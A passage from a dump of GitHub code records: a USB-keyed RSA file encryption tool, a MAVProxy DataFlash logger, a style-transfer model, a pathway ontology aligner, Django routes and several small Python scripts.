x in range(szam):\n if x == 0:\n bytes_list.append(file_bytes[0 : pk_lenght])\n else: \n bytes_list.append(file_bytes[x * pk_lenght : x * pk_lenght + pk_lenght])\n\n for x in bytes_list:\n if bytes_list.index(x) == 0:\n enc_bytes = Cipher.encrypt(public_key, base64.b64encode(f\"FN:{os.path.basename(filename)}/0x34;\".encode('utf-8') + x))\n else:\n enc_bytes = Cipher.encrypt(public_key, base64.b64encode(x))\n \n print(\"Encrypt data to\", encrypted_filename.replace(\"{0}\", str(bytes_list.index(x) + 1)))\n with open(encrypted_filename.replace(\"{0}\", str(bytes_list.index(x) + 1)), 'wb') as f:\n f.write(enc_bytes)\n \n with ZipFile(encrypted_filename.replace(\"{0}\", \"\") + \".zip\", 'w') as zip:\n for x in range(len(bytes_list)):\n zip.write(encrypted_filename.replace(\"{0}\", str(x + 1)), arcname=os.path.basename(encrypted_filename).replace(\"{0}\", str(x + 1)))\n os.remove(encrypted_filename.replace(\"{0}\", str(x + 1)))\n\n print(\"Finished. Encrypted file saved to\", encrypted_filename.replace(\"{0}\", \"\") + \".zip\", \"\\n\")\n\n def decrypt_file(private_key, filename):\n output_bytes = b''\n with ZipFile(filename, 'r') as zip:\n for x in zip.namelist():\n if \"enc\" not in x:\n continue\n\n print(\"Decrypting \" + x)\n with zip.open(x, mode='r') as f:\n output_bytes += base64.b64decode(Cipher.decrypt(private_key, f.read()))\n \n enc_file_bytes = output_bytes.split(b\"/0x34;\")\n with open(os.path.dirname(filename) + \"/\" + enc_file_bytes[0].decode().split(\":\")[1], \"wb\") as f:\n f.write(enc_file_bytes[-1])\n \n print(\"Finished. Decrypted file saved to\", os.path.dirname(filename) + \"/\" + enc_file_bytes[0].decode().split(\":\")[1], \"\\n\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-g', \"--generate-keys\", nargs=\"+\", help='Save private key to a USB and public key somwhere you specify. eg.: -g \"C:\\\\asd\\\\\" \"YOUR_PASSWORD(optional)\"', default=False)\n parser.add_argument('-e', \"--encrypt\", nargs=\"+\", help='Encrypt file. eg.: \"FileLoc\" \"PubKeyDirectoryLoc\"', default=None)\n parser.add_argument('-d', \"--decrypt\", nargs=\"+\", help='Decrypt file. eg.: \"FileLoc\" \"YOUR_PASSWORD(optional)\"', default=None)\n parser.add_argument('-p', \"--public-key\", nargs=\"+\", help='Get public key, if you lost it. eg.: -p \"PubKeyDirectoryLoc\" \"YOUR_PASSWORD(optional)\"', default=None)\n options = parser.parse_args(sys.argv[1:])\n \n if options.generate_keys != False:\n options.generate_keys = list(options.generate_keys)\n\n try:\n options.generate_keys[0]\n except:\n print(\"Error: Public Key Directory Location must be specified.\")\n os._exit(1)\n\n pk_path = Cipher.get_private_key_location()\n if pk_path == None:\n print(\"No USB connected to save private key or the USB name doesn't equal to 'ENC_PRIVATE'.\")\n \n print(\"Generating keys started, please be patient. It will take about 5 minute.\\n\")\n private_key, public_key = Cipher.generate_keys(key_size=int(16384))\n\n if len(options.generate_keys) > 1:\n Cipher.export_to_file(pk_path, private_key, Cipher.Type.PRIVATE_KEY, encryption_algorithm=serialization.BestAvailableEncryption(options.generate_keys[1].encode()))\n else:\n Cipher.export_to_file(pk_path, private_key, Cipher.Type.PRIVATE_KEY)\n Cipher.export_to_file(options.generate_keys[0] + \"public.key\", public_key, Cipher.Type.PUBLIC_KEY)\n print(\"Private key saved to\", os.path.abspath(pk_path))\n print(\"Public key saved to \" + os.path.abspath(options.generate_keys[0] + \"public.key\"))\n print(\"\")\n \n elif options.public_key:\n options.public_key = list(options.public_key)\n pk_path = Cipher.get_private_key_location()\n if pk_path == None:\n print(\"No USB connected to save private key or the USB name doesn't equal to 'ENC_PRIVATE'.\")\n\n if len(options.public_key) > 1:\n private_key = Cipher.import_from_file(pk_path, Cipher.Type.PRIVATE_KEY, password=options.public_key[1].encode())\n else:\n private_key = Cipher.import_from_file(pk_path, Cipher.Type.PRIVATE_KEY)\n \n Cipher.export_to_file(options.public_key[0] + \"public.key\", private_key.public_key(), Cipher.Type.PUBLIC_KEY)\n print(\"Public key saved to \" + os.path.abspath(options.public_key[0] + \"public.key\"))\n print(\"\")\n\n else:\n if options.encrypt != None:\n options.encrypt = list(options.encrypt)\n public_key = Cipher.import_from_file(options.encrypt[1] + \"public.key\", Cipher.Type.PUBLIC_KEY)\n\n new_file_name = os.path.dirname(str(options.encrypt[0])) + \"/\"\n pp = os.path.basename(str(options.encrypt[0])).split(\".\")\n for x in pp:\n if pp.index(x) + 1 != len(pp):\n new_file_name += x + \".\"\n new_file_name += \"enc{0}\"\n\n Cipher.encrypt_file(public_key, str(options.encrypt[0]), new_file_name, 1400)\n\n elif options.decrypt != None:\n options.decrypt = list(options.decrypt)\n\n try:\n options.decrypt[0]\n except:\n print(\"Error: Encrypted File Location must be specified.\")\n os._exit(1)\n\n pk_path = Cipher.get_private_key_location()\n if pk_path == None:\n print(\"No USB connected to save private key or the USB name doesn't equal to 'ENC_PRIVATE'.\")\n\n if len(options.decrypt) > 1:\n private_key = Cipher.import_from_file(pk_path, Cipher.Type.PRIVATE_KEY, password=options.decrypt[1].encode())\n else:\n private_key = Cipher.import_from_file(pk_path, Cipher.Type.PRIVATE_KEY)\n Cipher.decrypt_file(private_key, str(options.decrypt[0]))","repo_name":"Da4ndo/USB.ENC","sub_path":"usb.enc.py","file_name":"usb.enc.py","file_ext":"py","file_size_in_byte":10333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"39253056869","text":"#!/usr/bin/env python\n'''\nDataFlash Logging Module\nJune 2015\n\nArduPilot supports transmission of DataFlash logs over MavLink.\n\nThis module pokes the UAV to start sending logs, and stores them in a local directory.\n\nThe relevant code in the ArduPilot code base can be found in libraries/DataFlash/DataFlash_MAVLink.*\n'''\n\nimport logging\nimport os\nimport os.path\nimport threading\nimport types\nimport sys\nfrom pymavlink import mavutil\nimport random\nimport errno\n\nfrom MAVProxy.modules.lib import mp_module\nfrom MAVProxy.modules.lib import mp_util\nimport time\nfrom MAVProxy.modules.lib import mp_settings\n\n\nclass dataflash_logger(mp_module.MPModule):\n def __init__(self, mpstate):\n \"\"\"Initialise module. We start poking the UAV for messages after this is called\"\"\"\n super(dataflash_logger, self).__init__(mpstate, \"dataflash_logger\", \"logging of mavlink dataflash messages\")\n self.new_log_started = False\n self.stopped = False\n self.time_last_start_packet_sent = 0\n self.time_last_stop_packet_sent = 0\n self.dataflash_dir = self._dataflash_dir(mpstate)\n\n self.log_settings = mp_settings.MPSettings(\n [ ('verbose', bool, False),\n ])\n self.add_command('dataflash_logger', self.cmd_dataflash_logger, \"dataflash logging control\", ['status','start','stop','set (LOGSETTING)'])\n self.add_completion_function('(LOGSETTING)', self.log_settings.completion)\n\n def usage(self):\n '''show help on a command line options'''\n return \"Usage: dataflash_logger <status|start|stop|set>\"\n\n def cmd_dataflash_logger(self, args):\n '''control behaviour of the module'''\n if len(args) == 0:\n print (self.usage())\n elif args[0] == \"status\":\n print (self.status())\n elif args[0] == \"stop\":\n self.new_log_started = False\n self.stopped = True\n elif args[0] == \"start\":\n self.stopped = False\n elif args[0] == \"set\":\n self.log_settings.command(args[1:])\n else:\n print (self.usage())\n\n def _dataflash_dir(self, mpstate):\n '''returns directory path to store DF logs in. May be relative'''\n if mpstate.settings.state_basedir is None:\n ret = 'dataflash'\n else:\n ret = os.path.join(mpstate.settings.state_basedir,'dataflash')\n\n try:\n os.makedirs(ret)\n except OSError as e:\n if e.errno != errno.EEXIST:\n print(\"DFLogger: OSError making (%s): %s\" % (ret, str(e)))\n except Exception as e:\n print(\"DFLogger: Unknown exception making (%s): %s\" % (ret, str(e)))\n\n return ret\n\n def new_log_filepath(self):\n '''returns a filepath to a log which does not currently exist and is suitable for DF logging'''\n lastlog_filename = os.path.join(self.dataflash_dir,'LASTLOG.TXT')\n if os.path.exists(lastlog_filename) and os.stat(lastlog_filename).st_size != 0:\n fh = open(lastlog_filename,'rb')\n log_cnt = int(fh.read()) + 1\n fh.close()\n else:\n log_cnt = 1\n\n self.lastlog_file = open(lastlog_filename,'w+b')\n self.lastlog_file.write(log_cnt.__str__())\n self.lastlog_file.close()\n\n return os.path.join(self.dataflash_dir, '%u.BIN' % (log_cnt,));\n\n def start_new_log(self):\n '''open a new dataflash log, reset state'''\n filename = self.new_log_filepath()\n\n self.block_cnt = 0\n self.logfile = open(filename, 'w+b')\n print(\"DFLogger: logging started (%s)\" % (filename))\n self.prev_cnt = 0\n self.download = 0\n self.prev_download = 0\n self.last_idle_status_printed_time = time.time()\n self.last_status_time = time.time()\n self.missing_blocks = {}\n self.acking_blocks = {}\n self.blocks_to_ack_and_nack = []\n self.missing_found = 0\n self.abandoned = 0\n\n def status(self):\n '''returns information about module'''\n transfered = self.download - self.prev_download\n now = time.time()\n interval = now - self.last_status_time\n self.last_status_time = now\n return(\"DFLogger: %(state)s Rate(%(interval)ds):%(rate).3fkB/s Block:%(block_cnt)d Missing:%(missing)d Fixed:%(fixed)d Abandoned:%(abandoned)d\" %\n {\"interval\": interval,\n \"rate\": transfered/(interval*1000),\n \"block_cnt\": self.block_cnt,\n \"missing\": len(self.missing_blocks),\n \"fixed\": self.missing_found,\n \"abandoned\": self.abandoned,\n \"state\": \"Inactive\" if self.stopped else \"Active\"\n })\n def idle_print_status(self):\n '''print out statistics every 10 seconds from idle loop'''\n now = time.time()\n if (now - self.last_idle_status_printed_time) >= 10:\n print (self.status())\n self.last_idle_status_printed_time = now\n self.prev_download = self.download\n\n def idle_send_acks_and_nacks(self):\n '''Send packets to UAV in idle loop'''\n max_blocks_to_send = 10\n blocks_sent = 0\n i=0\n now = time.time()\n while i < len(self.blocks_to_ack_and_nack) and blocks_sent < max_blocks_to_send:\n# print(\"ACKLIST: %s\" % ([x[1] for x in self.blocks_to_ack_and_nack],))\n stuff = self.blocks_to_ack_and_nack[i]\n\n [master, block, status, first_sent, last_sent] = stuff\n if status == 1:\n# print(\"DFLogger: ACKing block (%d)\" % (block,))\n self.master.mav.remote_log_block_status_send(block,status)\n blocks_sent += 1\n del self.acking_blocks[block]\n del self.blocks_to_ack_and_nack[i]\n continue\n\n if block not in self.missing_blocks:\n # we've received this block now\n del self.blocks_to_ack_and_nack[i]\n continue\n\n # give up on packet if we have seen one with a much higher\n # number:\n if self.block_cnt - block > 200 or \\\n now - first_sent > 60:\n print(\"DFLogger: Abandoning block (%d)\" % (block,))\n del self.blocks_to_ack_and_nack[i]\n del self.missing_blocks[block]\n self.abandoned += 1\n continue\n\n i += 1\n # only send each nack every-so-often:\n if last_sent is not None:\n if now - last_sent < 0.1:\n continue\n\n print(\"DFLogger: NACKing block (%d)\" % (block,))\n self.master.mav.remote_log_block_status_send(block,status)\n blocks_sent += 1\n stuff[4] = now\n\n def idle_task_started(self):\n '''called in idle task only when logging is started'''\n if self.log_settings.verbose:\n self.idle_print_status()\n self.idle_send_acks_and_nacks()\n\n def idle_task(self):\n if self.new_log_started == True:\n self.idle_task_started()\n\n def mavlink_packet(self, m):\n '''handle REMOTE_LOG_DATA_BLOCK packets'''\n now = time.time()\n if m.get_type() == 'REMOTE_LOG_DATA_BLOCK':\n if self.stopped:\n # send a stop packet every second until the other end gets the idea:\n if now - self.time_last_stop_packet_sent > 1:\n if self.log_settings.verbose:\n print(\"DFLogger: Sending stop packet\")\n self.master.mav.remote_log_block_status_send(mavutil.mavlink.MAV_REMOTE_LOG_DATA_BLOCK_STOP,1)\n return\n\n# if random.random() < 0.1: # drop 1 packet in 10\n# return\n\n\n if not self.new_log_started:\n if self.log_settings.verbose:\n print(\"DFLogger: Received data packet - starting new log\")\n self.start_new_log()\n self.new_log_started = True\n if self.new_log_started == True:\n size = m.block_size\n data = ''.join(str(chr(x)) for x in m.data[:size])\n ofs = size*(m.block_cnt)\n self.logfile.seek(ofs)\n self.logfile.write(data)\n\n if m.block_cnt in self.missing_blocks:\n if self.log_settings.verbose:\n print(\"DFLogger: Received missing block: %d\" % (m.block_cnt,))\n del self.missing_blocks[m.block_cnt]\n self.missing_found += 1\n self.blocks_to_ack_and_nack.append([self.master,m.block_cnt,1,now,None])\n self.acking_blocks[m.block_cnt] = 1\n# print(\"DFLogger: missing blocks: %s\" % (str(self.missing_blocks),))\n else:\n # ACK the block we just got:\n if m.block_cnt in self.acking_blocks:\n # already acking this one; we probably sent\n # multiple nacks and received this one\n # multiple times\n pass\n else:\n self.blocks_to_ack_and_nack.append([self.master,m.block_cnt,1,now,None])\n self.acking_blocks[m.block_cnt] = 1\n # NACK any blocks we haven't seen and should have:\n if(m.block_cnt - self.block_cnt > 1):\n for block in range(self.block_cnt+1, m.block_cnt):\n if block not in self.missing_blocks and \\\n block not in self.acking_blocks:\n self.missing_blocks[block] = 1\n if self.log_settings.verbose:\n print (\"DFLogger: setting %d for nacking\" % (block,))\n self.blocks_to_ack_and_nack.append([self.master,block,0,now,None])\n #print \"\\nmissed blocks: \",self.missing_blocks\n if self.block_cnt < m.block_cnt:\n self.block_cnt = m.block_cnt\n self.download += size\n elif not self.new_log_started and not self.stopped:\n # send a start packet every second until the other end gets the idea:\n if now - self.time_last_start_packet_sent > 1:\n if self.log_settings.verbose:\n print(\"DFLogger: Sending start packet\")\n self.master.mav.remote_log_block_status_send(mavutil.mavlink.MAV_REMOTE_LOG_DATA_BLOCK_START,1)\n self.time_last_start_packet_sent = now\n\ndef init(mpstate):\n '''initialise module'''\n return dataflash_logger(mpstate)\n","repo_name":"TheRoboticsClub/colab-gsoc2017-SepehrMohaimanian","sub_path":"src/drivers/MAVLinkServer/MAVProxy/modules/mavproxy_dataflash_logger.py","file_name":"mavproxy_dataflash_logger.py","file_ext":"py","file_size_in_byte":10786,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"34262810968","text":"import time\nimport matplotlib.pyplot as plt\n\ndef fibonacci1(n):\n\trecs[0]+= 1\n\tif n == 0:\n\t\treturn 0\n\telif n == 1:\n\t\treturn 1\n\telse:\n\t\treturn fibonacci1(n - 1) + fibonacci1(n - 2)\n\nnum= int(input('Type the nth sequence in Fibonacci: '))\n\nstart = time.time()\npstart = time.process_time()\n\nfibo_rec_times = []\nfibo_time_process = []\nfor num in range(num):\n\tpstart1 = time.process_time()\n\trecs = [0]\n\tres= fibonacci1(num)\n\tr = recs[0] - 1\n\tpstop1 = time.process_time()\n\tfibo_rec_times.append(r)\n\tfibo_time_process.append(pstop1 - pstart1)\n\nprint(fibo_rec_times, fibo_time_process)\nprint(\"#\" * 40 + '\\n') \nprint(\"The {0}th number in Fibonacci sequence is {1} and, in a recursive mode, it was necessary {2} recursions to calculate it.\".format(num, res, r))\nprint('\\n' + \"#\" * 40 + '\\n')\n\nstop = time.time()\npstop= time.process_time()\n\nprint(\"Bellow is the total time to run this program and the time CPU spent to calculate the Fibonacci sequence: \\n\")\n\nprint(\"Total time: {0:.6}, CPU time: {1:.6}\".format(stop - start, pstop - pstart))\n\nprint('\\n' + \"#\" * 40 + '\\n')\n\nplt.subplot(1, 2, 1)\nplt.plot(range(num + 1), fibo_time_process)\nplt.ylabel('time em seconds')\n\nplt.subplot(1, 2, 2)\nplt.plot(range(num + 1), fibo_rec_times)\nplt.ylabel('# of recurtions')\nplt.show()\n\n","repo_name":"dtiezzi/Python","sub_path":"Dynamic Processing/times.py","file_name":"times.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"11880864942","text":"#!/usr/local/bin/python\n\nimport tool\nimport sys\nfrom datetime import datetime\n\ndef main():\n\n keyword = \"花蓮美食\"\n now = datetime.now() \n file_name = './result/' \\\n + now.strftime(\"%Y%m%d%H%M%S\") \\\n + '_' \\\n + keyword \\\n + '.txt'\n\n s = tool.AutoSearcher()\n #s.change_region() # default Taiwan\n res = s.search_and_collect(keyword)\n original_stdout = sys.stdout \n\n with open(file_name, \"a\") as f:\n for line in res:\n # Change the standard output to the file\n sys.stdout = f \n print(*line, sep = \", \")\n # Reset the standard output\n sys.stdout = original_stdout \n\n f.close()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"erickson-lee/auto-search","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"22128212804","text":"from sqlalchemy import create_engine, MetaData\n\n\n#making connection to the database test\nengine =create_engine(\"mysql+pymysql://root@localhost:3307/test\")\n\n#metadata-It is used when reflecting and creating databases in Python (using SQLAlchemy package).\n#MetaData is a container object that keeps together many different features of a database (or multiple databases) being described.\nmeta = MetaData()\nconn = engine.connect()","repo_name":"Anushree-Patil/FAST_API_Redis_Cache","sub_path":"config/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17383550647","text":"#!python\n\nimport os\nimport sys\nimport json\nimport tqdm\nimport numpy as np\nimport itertools\nfrom collections import defaultdict\nfrom typing import List, Dict\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom datetime import date\n\nfrom pathhier.paths import PathhierPaths\nimport pathhier.constants as constants\nfrom pathhier.candidate_selector import CandidateSelector\n\n\n# class for aligning a pathway KB to the Pathway Ontology\nclass KBAligner:\n def __init__(self, kb_name):\n \"\"\"\n Initialize and load all files\n :param kb_name:\n \"\"\"\n self.kb_name = kb_name\n\n paths = PathhierPaths()\n kb_file = os.path.join(paths.output_dir, kb_name + '_ontology.json')\n pw_file = os.path.join(paths.pathway_ontology_dir, 'pw.json')\n\n assert os.path.exists(kb_file)\n assert os.path.exists(pw_file)\n\n # load KB to align to PW\n with open(kb_file, 'r') as f:\n self.kb = json.load(f)\n\n # load pathway ontology\n with open(pw_file, 'r') as f:\n self.pw = json.load(f)\n\n self.cand_sel = CandidateSelector(self.kb, self.pw)\n self.score_list = []\n self.inst_list = []\n\n self.output_file = os.path.join(\n paths.output_dir,\n '{}_pw_alignment_{}.tsv'.format(kb_name, date.today().strftime('%Y%m%d'))\n )\n\n @staticmethod\n def compute_unweighted_jaccard(\n s_ngms: List,\n t_ngms: List\n ):\n \"\"\"\n Compute jaccard index between the set of ngrams from source entity and target entity\n :param s_ngms: ngrams from source entity\n :param t_ngms: ngrams from target entity\n :return:\n \"\"\"\n ngm_intersect = set(s_ngms).intersection(set(t_ngms))\n ngm_union = set(s_ngms).union(set(t_ngms))\n if len(ngm_union) == 0:\n ngm_union = {0}\n return len(ngm_intersect) / len(ngm_union)\n\n def align(self):\n \"\"\"\n Align kb with PW\n :return:\n \"\"\"\n done_pairs = set([])\n self.score_list = []\n self.inst_list = []\n\n for s_id, s_info in tqdm.tqdm(self.kb.items()):\n s_vocab = self.cand_sel.s_mat[s_id]\n\n # list of matches in PW\n matches = []\n\n for pw_class, pw_vocab in self.cand_sel.select(s_id)[:constants.KEEP_TOP_N_CANDIDATES]:\n score = cosine_similarity(s_vocab, pw_vocab)[0][0]\n matches.append((pw_class, score))\n\n if matches:\n # sort matches by best similarity score\n matches.sort(key=lambda x: x[1], reverse=True)\n\n for m, s in matches:\n if s >= constants.SIMSCORE_THRESHOLD and (s_id, m) not in done_pairs:\n self.score_list.append((s_id, m, s))\n done_pairs.add((s_id, m))\n\n self.score_list.sort(key=lambda x: (x[0], 1-x[2]))\n self.write_to_file()\n return\n\n def write_to_file(self):\n \"\"\"\n Write score_list to output_file and inst_list to instance_file\n :return:\n \"\"\"\n with open(self.output_file, 'w') as outf:\n\n outf.write('cosine_similarity\\t{}_id\\t{}_name\\t{}_def\\tpw_id\\tpw_name\\tpw_def\\n'.format(\n self.kb_name, self.kb_name, self.kb_name\n ))\n\n for kb_id, pw_id, score in self.score_list:\n # adjust pathway ID for BioCyc pathways\n kb_id_use = kb_id\n if self.kb_name == 'biocyc':\n kb_id_use = 'BioCyc:' + kb_id\n\n outf.write('%.2f\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n' % (\n score,\n kb_id_use, self.kb[kb_id]['name'], self.kb[kb_id]['definition'],\n pw_id, self.pw[pw_id]['name'], self.pw[pw_id]['definition']\n ))\n\n\n# list of KBs to align\nkb_names = ['reactome']\n\n# align each KB in list\nfor name in kb_names:\n aligner = KBAligner(name)\n aligner.align()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lucylw/pathhier","sub_path":"scripts/align_kbs_to_pw.py","file_name":"align_kbs_to_pw.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"13999245503","text":"while True:\n\tp=int(input('Primes below:'))\n\tx=range(1,p+1)\n\tfor i in x:\n\t\tb=[]\n\t\tm=0\n\t\tfor j in x:\n\t\t\tif i/j in x:\n\t\t\t\tb.insert(m,j)\n\t\t\t\tm=m+1\n\t\t\telse:\n\t\t\t\tcontinue\n\t\tif len(b)==2:\n\t\t\tprint(i)\n\t\telse:\n\t\t\tcontinue","repo_name":"KwaziZungu/Find-Primes","sub_path":"finding_primes.py","file_name":"finding_primes.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"18672367213","text":"import tensorflow as tf\nfrom tensorflow.keras.optimizers import Adam\n\nimport layers\nfrom layers import BaseModel\nfrom utils import tf_image_concat\nfrom .encoder import Encoder\nfrom .decoder import Decoder\n\n\nclass AdaIN(BaseModel):\n def __init__(self, conf, ckpt=None):\n super().__init__(conf, ckpt)\n self.encoder = Encoder(conf)\n self.decoder = Decoder(conf)\n self.adain = layers.AdaIN()\n self.opt = Adam(conf['learning_rate'], conf['beta_1'])\n self.set_checkpoint(decoder=self.decoder,\n optimizer=self.opt)\n self.content_weight = conf['content_weight']\n\n @tf.function\n def train(self, inputs):\n content_images, style_images = inputs\n with tf.GradientTape() as tape:\n content_feature = self.encoder(content_images)[-1]\n style_features = self.encoder(style_images)\n adain_outputs = self.adain(content_feature, style_features[-1])\n generated_images = self.decoder(adain_outputs)\n generated_features = self.encoder(generated_images)\n\n content_loss = self.content_loss(\n [adain_outputs], [generated_features[-1]]) * self.content_weight\n style_loss = self.style_loss(style_features, generated_features)\n loss = content_loss + style_loss\n gradient = tape.gradient(loss, self.decoder.trainable_variables)\n self.opt.apply_gradients(zip(gradient,\n self.decoder.trainable_variables))\n\n log_dict = {\n 'loss/content': content_loss,\n 'loss/style': style_loss\n }\n self.write_scalar_log(**log_dict)\n self.ckpt.step.assign_add(1)\n return log_dict\n\n @tf.function\n def generate_image(self,\n content_images,\n style_images,\n alpha=1.0,\n training=False):\n content_feature = self.encoder(content_images, training=training)[-1]\n style_feature = self.encoder(style_images, training=training)[-1]\n adain_outputs = self.adain(content_feature,\n style_feature,\n alpha=alpha,\n training=training)\n return self.decoder(adain_outputs, training=training)\n\n def test(self, inputs, step=None, save=False, save_input=False, display_shape=None):\n content_images, style_images = inputs\n if step is None:\n step = self.ckpt.step\n\n generated_image = self.generate_image(\n content_images, style_images, training=False)\n if display_shape is None:\n test_batch = content_images.shape[0]\n n_row = int(test_batch**0.5)\n display_shape = (n_row, n_row)\n\n n_display = display_shape[0] * display_shape[1]\n concat_image = tf_image_concat(\n generated_image[:n_display], display_shape)\n\n if save:\n self.image_write(filename=f'{step:05d}.png', data=concat_image)\n if save_input:\n inputs_data = tf_image_concat(content_images[:n_display],\n display_shape)\n self.image_write(filename='contents.png', data=inputs_data)\n self.write_image_log(step=step, data=inputs_data,\n name='content_inputs')\n inputs_data = tf_image_concat(style_images[:n_display],\n display_shape)\n self.image_write(filename='styles.png', data=inputs_data)\n self.write_image_log(step=step, data=inputs_data,\n name='style_inputs')\n self.write_image_log(step=step, data=concat_image)\n return generated_image\n\n def content_loss(self, input_features, target_features):\n out = 0.0\n for i, t in zip(input_features, target_features):\n out += tf.reduce_mean(tf.square(i - t), axis=(1, 2, 3))\n return tf.reduce_mean(out)\n\n def style_loss(self, input_features, target_features, epsilon=1e-5):\n out = 0.0\n for i, t in zip(input_features, target_features):\n input_mean, input_var = tf.nn.moments(\n i, self.adain._spatial_axes, keepdims=True)\n target_mean, target_var = tf.nn.moments(\n t, self.adain._spatial_axes, keepdims=True)\n input_std = tf.sqrt(input_var + epsilon)\n target_std = tf.sqrt(target_var + epsilon)\n out += tf.reduce_mean(tf.square(input_mean - target_mean),\n axis=(1, 2, 3))\n out += tf.reduce_mean(tf.square(input_std - target_std),\n axis=(1, 2, 3))\n return tf.reduce_mean(out)\n","repo_name":"kynk94/TF2-Image-Generation","sub_path":"I2I/models/AdaIN/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4809,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"5"} +{"seq_id":"14643898534","text":"from django.contrib import admin\r\nfrom django.urls import path, include\r\nurlpatterns = [\r\n path('accounts/', include('accounts.urls')),\r\n path('mopic/', include('mopic.urls')),\r\n path('messenger/', include('messenger.urls')),\r\n path('story/', include('story.urls')),\r\n path('admin/', admin.site.urls),\r\n path('api-auth/', include('rest_framework.urls'))\r\n]\r\n","repo_name":"niteshdangi/morvii","sub_path":"morvii/morvii/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"29474422766","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\"\", views.home_page, name=\"home\"),\n path(\"register\", views.register_page, name=\"register\"),\n path(\"login\", views.login_page, name=\"login\"),\n path(\"logout\", views.logout_page, name=\"logout\"),\n path(\"chatrooms\", views.chatrooms_page, name=\"chatrooms\"),\n path(\"chatroom/<int:id>\", views.chatroom_page, name=\"chatroom\"),\n path(\"chatroom/create\", views.create_chatroom_page, name=\"create_chatroom\"),\n path(\"chatroom/messages/<int:id>\", views.chatroom_messages, name=\"chatroom_messages\"),\n path(\"chatroom/delete/text/<int:chatid>/<int:textid>\", views.delete_text_page, name=\"delete_text\"),\n path(\"chatroom/delete/<int:chatid>\", views.delete_chatroom_page, name=\"delete_chatroom\"),\n path(\"chatroom/settings/<int:chatid>\", views.chatroom_settings_page, name=\"chatroom_settings\"),\n path(\"chatroom/remove-user/<int:chatid>/<str:user>\", views.chatroom_remove_user_page, name=\"remove_user\"),\n \n]\n\n","repo_name":"LStepczynski/Herext","sub_path":"herext/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20135926179","text":"import tensorflow as tf\n\nimport numpy as np\n\nclass Loss_DC(tf.keras.losses.Loss):\n def __init__(self,alpha=0.1):\n super(Loss_DC,self).__init__()\n self.ce = tf.keras.losses.CategoricalCrossentropy(reduction=tf.keras.losses.Reduction.SUM_OVER_BATCH_SIZE)\n self.alpha = alpha\n print(\"Loss balance alpha is: \", alpha)\n\n def Distance_Correlation(self, latent, control):\n matrix_a = tf.math.sqrt(tf.math.reduce_sum(tf.math.square(tf.expand_dims(latent,axis=0) - tf.expand_dims(latent,1)),axis=-1) + 1e-12)\n matrix_b = tf.math.sqrt(tf.math.reduce_sum(tf.math.square(tf.expand_dims(control,axis=0) - tf.expand_dims(control,1)),axis=-1) + 1e-12)\n matrix_A = matrix_a - tf.math.reduce_mean(matrix_a, axis = 0, keepdims= True) - tf.math.reduce_mean(matrix_a, axis = 1, keepdims= True) + tf.math.reduce_mean(matrix_a)\n matrix_B = matrix_b - tf.math.reduce_mean(matrix_b, axis = 0, keepdims= True) - tf.math.reduce_mean(matrix_b, axis = 1, keepdims= True) + tf.math.reduce_mean(matrix_b)\n \n Gamma_XY = tf.math.reduce_sum(matrix_A * matrix_B) / (matrix_A.shape[0] * matrix_A.shape[1])\n Gamma_XX = tf.math.reduce_sum(matrix_A * matrix_A) / (matrix_A.shape[0] * matrix_A.shape[1])\n Gamma_YY = tf.math.reduce_sum(matrix_B * matrix_B) / (matrix_A.shape[0] * matrix_A.shape[1])\n\n correlation_r = Gamma_XY / tf.math.sqrt(Gamma_XX * Gamma_YY + 1e-9)\n return correlation_r\n\n\n def __call__(self, y_pred, y_true, latent, controls):\n cls_loss = self.ce(y_true, y_pred)\n dc_loss = 0\n DC_results = []\n for control in controls:\n DC = self.Distance_Correlation(latent, control)\n dc_loss += DC\n DC_results.append(DC)\n if len(controls)==0:\n dc_loss =0\n else:\n dc_loss /= len(controls) + 1e-12 \n \n loss = cls_loss + self.alpha * dc_loss\n return loss, cls_loss, dc_loss, DC_results\n\n@tf.function\ndef run_nets(nets, idx, inputs, targets, criterion):\n eval_sub_net = list(range(idx))\n ref_features = []\n for sub_net_idx in eval_sub_net:\n _, feature = nets[sub_net_idx](inputs)\n ref_features.append(feature)\n\n outputs, learned_feature = nets[idx](inputs, training=True) \n loss, _, _, DC_results = criterion(outputs, targets, learned_feature, ref_features) \n if len(DC_results) < len(nets):\n for _ in range(len(nets) - 1 - len(DC_results)):\n DC_results.append(0.0)\n # DC_results = np.asarray(DC_results)\n\n return outputs, loss, DC_results\n\n\ndef eval_nets(nets, idx, inputs, targets, criterion):\n eval_sub_net = list(range(idx))\n ref_features = []\n for sub_net_idx in eval_sub_net:\n _, feature = nets[sub_net_idx](inputs)\n ref_features.append(feature)\n\n outputs, learned_feature = nets[idx](inputs, training=False)\n loss, _, _, DC_results = criterion(outputs, targets, learned_feature, ref_features)\n \n if len(DC_results) < len(nets):\n for _ in range(len(nets) - 1 - len(DC_results)):\n 